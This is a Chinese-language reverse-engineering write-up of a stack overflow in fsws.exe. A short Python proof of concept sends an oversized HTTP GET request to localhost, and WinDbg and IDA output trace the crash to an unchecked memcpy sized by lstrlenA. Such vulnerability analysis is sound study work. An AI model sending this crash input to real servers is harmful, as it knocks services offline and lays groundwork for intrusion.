1、构建一个触发程序,用调试器启动测试程序，触发**漏洞**

根据 metasploit 给出的溢出验证程序，编写了一小段 python 代码用来测试。

代码:

```
import  socket
def  pocfileshare():
        ss=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        ss.connect(("127.0.0.1",80))
        s_data="GET  "
        s_data+='a'*4073
        s_data+="  HTTP/1.0\r\n\r\n"
        ss.send(s_data.encode())
        aa=ss.recv(1000)
        print(aa)
        ss.close()
pocfileshare()
```

看这个程序可知：程序出错点应该是在建立连接，进行客户端验证的时候出的错，应该还没有到 FTP 和 HTTP 协议处理的过程。因此，出错代码应该在 socket 接收数据处理流程内

2、用 windbg 挂钩服务程序，运行脚本触发**漏洞**

程序停留在：

代码:

```
0:004:x86>  k
  #  ChildEBP  RetAddr
WARNING:  Stack  unwind  information  not  available.  Following  fra
mes  may  be  wrong.
00  037d6fbf  0042002f  fsws+0x1227dd
01  037d75fc  00000000  fsws+0x2002f
0:004:x86>  r
eax=7d721800  ebx=00000f07  ecx=61616161  edx=18b99803  esi=037d7200
  edi=ffffffff
eip=005227dd  esp=037d6fab  ebp=037d6fbf  iopl=0                  nv
  up  ei  pl  nz  na  pe  nc
cs=0023    ss=002b    ds=002b    es=002b    fs=0053    gs=002b
                  efl=00010206
fsws+0x1227dd:
005227dd  8b31                        mov          esi,dword  ptr  [e
cx]    ds:002b:61616161=????????
```

3、IDA 装入服务程序，查看出错点

代码:

```
.text:005227BB  ;  int  __stdcall  sub_5227BB(int,  int,  size_t)
```

```
.text:005227BB  sub_5227BB            proc  near
          ;  CODE  XREF:  sub_401FD0+70p
.text:005227BB
                          ;  .text:004023F5p  ...
.text:005227BB
.text:005227BB  var_10                  =  dword  ptr  -10h
.text:005227BB  var_C                    =  dword  ptr  -0Ch
.text:005227BB  var_4                    =  dword  ptr  -4
.text:005227BB  arg_0                    =  dword  ptr    8
.text:005227BB  arg_4                    =  dword  ptr    0Ch
.text:005227BB  arg_8                    =  dword  ptr    10h
.text:005227BB
.text:005227BB                                mov          eax,  of
fset  loc_56205B
.text:005227C0                                call         __EH_prol
og
.text:005227C5                                push         ecx
.text:005227C6                                mov          edx,  [e
bp+arg_4]
.text:005227C9                                and          [ebp+var
_10],  0
.text:005227CD                                test         edx,  edx
.text:005227CF                                jge          short  l
oc_5227D3
.text:005227D1                                xor          edx,  ed
x
.text:005227D3
.text:005227D3  loc_5227D3:
                ;  CODE  XREF:  sub_5227BB+14j
.text:005227D3                                mov          eax,  [e
bp+arg_8]
.text:005227D6                                test         eax,  eax
.text:005227D8                                jge          short  l
oc_5227DC
.text:005227DA                                xor          eax,  ea
x
.text:005227DC
.text:005227DC  loc_5227DC:
                ;  CODE  XREF:  sub_5227BB+1Dj
.text:005227DC                                push         esi
.text:005227DD                                mov          esi,  [e
cx]             ;  出错的位置：ecx=0x61616161,从程序中可以看出，到目前为止，这个函数本身并没有改变 ecx，因此，应该是在调用这个函数之前传递过来的时候就已经出问题了，那么是在什么地方出的问题呢？
```

```
.text:005227DF                                  push        edi
.text:005227E0                                  lea          edi,  [e
dx+eax]
.text:005227E3                                  mov          esi,  [e
si-8]
.text:005227E6                                  cmp          edi,  es
i
.text:005227E8                                  jle          short  l
oc_5227EE
.text:005227EA                                  mov          eax,  es
i
.text:005227EC                                  sub          eax,  ed
x
```

3、找到 0x1227dd 所在的函数的函数入口 fsws+0x1227bb，在 fsws+0x1227dd 的函数入口处下断点

代码:

```
0:008:x86>  k
  #  ChildEBP  RetAddr
WARNING:  Stack  unwind  information  not  available.  Following  fra
mes  may  be  wrong.
00  031d7168  0042ebd0  fsws+0x1227bb
01  031d7218  0042d32e  fsws+0x2ebd0    ;很有可能是出问题的代码所在位
置
02  031d7524  0040faa0  fsws+0x2d32e    ;八成是他调用的函数出的问题。
断点应该设置为：fsws+0x2d329
03  031eff50  004f9a46  fsws+0xfaa0
04  031eff88  7673338a  fsws+0xf9a46
05  031eff94  77929902  kernel32!BaseThreadInitThunk+0xe
06  031effd4  779298d5  ntdll32!__RtlUserThreadStart+0x70
07  031effec  00000000  ntdll32!_RtlUserThreadStart+0x1b
```

代码:

```
0:000:x86>  g
Breakpoint  0  hit
fsws+0x1227bb:
005227bb  b85b205600            mov          eax,offset  fsws+0x16205
b  (0056205b)

0:008:x86>  r
eax=00000000  ebx=00000f07  ecx=61616161  edx=009794e0  esi=031d7200
  edi=ffffffff
eip=005227bb  esp=031d6fc3  ebp=031d75fc  iopl=0                  nv
  up  ei  pl  zr  na  pe  nc
```

```
cs=0023     ss=002b     ds=002b     es=002b     fs=0053     gs=002b
                    efl=00000246
fsws+0x1227bb:
005227bb  b85b205600            mov           eax,offset  fsws+0x16205
b  (0056205b)
```

出问题在 8 号线程，每次程序运行线程号可能不同（其实也差不多），但 8 号线程是号码最大的一个线程（调试过程中我们看到的最大的），应该是用户线程，

代码:

```
dd  esp-1000
0:008:x86>  dd  esp  -1000
02e75fc3    72656877  616e2065  273d656d  61616161
02e75fd3    61616161  61616161  61616161  61616161
02e75fe3    61616161  61616161  61616161  61616161
```

现在可以确认是栈溢出

4、继续回溯

代码:

```
0:004>  bp  fsws+0x2d329
***  WARNING:  Unable  to  verify  checksum  for  fsws.exe
***  ERROR:  Module  load  completed  but  symbols  could  not  be  l
oaded  for  fsws.exe
0:004>  g
Breakpoint  0  hit
fsws+0x2d329:
0042d329  e8f2150000            call        fsws+0x2e920  (0042e920)
0:004:x86>  k
  #  ChildEBP  RetAddr
WARNING:  Stack  unwind  information  not  available.  Following  fra
mes  may  be  wrong.
00  02f77524  0040faa0  fsws+0x2d329
01  02f8ff50  004f9a46  fsws+0xfaa0
02  02f8ff88  7583338a  fsws+0xf9a46
03  02f8ff94  776f9902  kernel32!BaseThreadInitThunk+0xe
04  02f8ffd4  776f98d5  ntdll32!__RtlUserThreadStart+0x70
05  02f8ffec  00000000  ntdll32!_RtlUserThreadStart+0x1b

0:004:x86>  p
fsws+0x2f0b8:
0042f0b8  50                            push        eax
0:004:x86>  p
```

```
fsws+0x2f0b9:
0042f0b9  8bcf                        mov          ecx,edi
0:004:x86>  p
fsws+0x2f0bb:
0042f0bb  e850eaffff            call        fsws+0x2db10  (0042db10)
0:004:x86>  p
(176c.10b4):  Access  violation  -  code  c0000005  (first  chance)
First  chance  exceptions  are  reported  before  any  exception  han
dling.
This  exception  may  be  expected  and  handled.
fsws+0x1227dd:
005227dd  8b31                        mov          esi,dword  ptr  [e
cx]    ds:002b:61616161=????????
```

证实是 fsws+0x2d329 出问题了。

代码:

```
0:004:x86>  p
(176c.10b4):  Access  violation  -  code  c0000005  (first  chance)
First  chance  exceptions  are  reported  before  any  exception  han
dling.
This  exception  may  be  expected  and  handled.
fsws+0x1227dd:
005227dd  8b31                        mov          esi,dword  ptr  [e
cx]    ds:002b:61616161=????????
```

5、看看出问题的到底是啥

代码:

```
0:004:x86>  bp  fsws+0x2f0bb

fsws+0x2f0bb:
0042f0bb  e850eaffff            call        fsws+0x2db10  (0042db10)
0:004:x86>  p
fsws+0x2dfca:
0042dfca  8d4c2474                lea          ecx,[esp+74h]
0:004:x86>  p
fsws+0x2dfce:
0042dfce  e87d960600            call        fsws+0x97650  (00497650)
0:004:x86>  p
(1ad4.a0c):  Access  violation  -  code  c0000005  (first  chance)
First  chance  exceptions  are  reported  before  any  exception  han
dling.
This  exception  may  be  expected  and  handled.
fsws+0x1227dd:
```

```
005227dd 8b31                    mov          esi,dword ptr [e
cx]    ds:002b:61616161=????????
0:004:x86>  p


0:004:x86>bp  fsws+0x2dfce
fsws+0x20028:
00420028 241c                    and          al,1Ch
0:004:x86>  p
fsws+0x2002a:
0042002a e88c271000          call        fsws+0x1227bb (005227bb)
0:004:x86>  p
(277c.2620): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception han
dling.
This exception may be expected and handled.
fsws+0x1227dd:
005227dd 8b31                    mov          esi,dword ptr [e
cx]    ds:002b:61616161=????????
```

5、IDA 装入，看代码，查找错误原因

代码:

```
.text:0052DB83  ; int __stdcall error_sub_52DB83(LPCSTR in_lpStri
ng)
.text:0052DB83  error_sub_52DB83 proc near
    ; CODE XREF: sub_409BA0+411p
.text:0052DB83
                          ; sub_409BA0+43Cp ...
.text:0052DB83
.text:0052DB83  in_lpString          = dword ptr  4
.text:0052DB83
.text:0052DB83                                  push        esi
.text:0052DB84                                  push        edi
.text:0052DB85                                  mov         edi, [e
sp+8+in_lpString]
.text:0052DB89                                  mov         esi, ec
x
.text:0052DB8B                                  test        edi, edi
.text:0052DB8D                                  jnz         short l
oc_52DB93
.text:0052DB8F                                  xor         eax, ea
x
.text:0052DB91                                  jmp         short l
oc_52DB9A
```

```
.text:0052DB93  ;  ---------------------------------------------------------------------------
.text:0052DB93
.text:0052DB93  loc_52DB93:
                ;  CODE  XREF:  error_sub_52DB83+Aj
.text:0052DB93                                  push        edi
                    ;  lpString
.text:0052DB94                                  call        ds:lstrlenA
.text:0052DB9A
.text:0052DB9A  loc_52DB9A:
                ;  CODE  XREF:  error_sub_52DB83+Ej
.text:0052DB9A                                  push        edi
                    ;  void  *
.text:0052DB9B                                  push        eax
                    ;  size_t
.text:0052DB9C                                  mov          ecx,  esi               ;  ecx 是目的地址，edi 是源地址，eax 是长度
.text:0052DB9E                                  call        memcpy_sub_52DB24
.text:0052DBA3                                  mov          eax,  esi
.text:0052DBA5                                  pop          edi
.text:0052DBA6                                  pop          esi
.text:0052DBA7                                  retn        4
.text:0052DBA7  error_sub_52DB83  endp
.text:0052DBA7
```

可以看出，是直接调用了 memcpy 函数，但没有验证 memory 的长度，而是通过计算字符串的长度 lstrlenA 来确定要拷贝的内存长度造成了溢出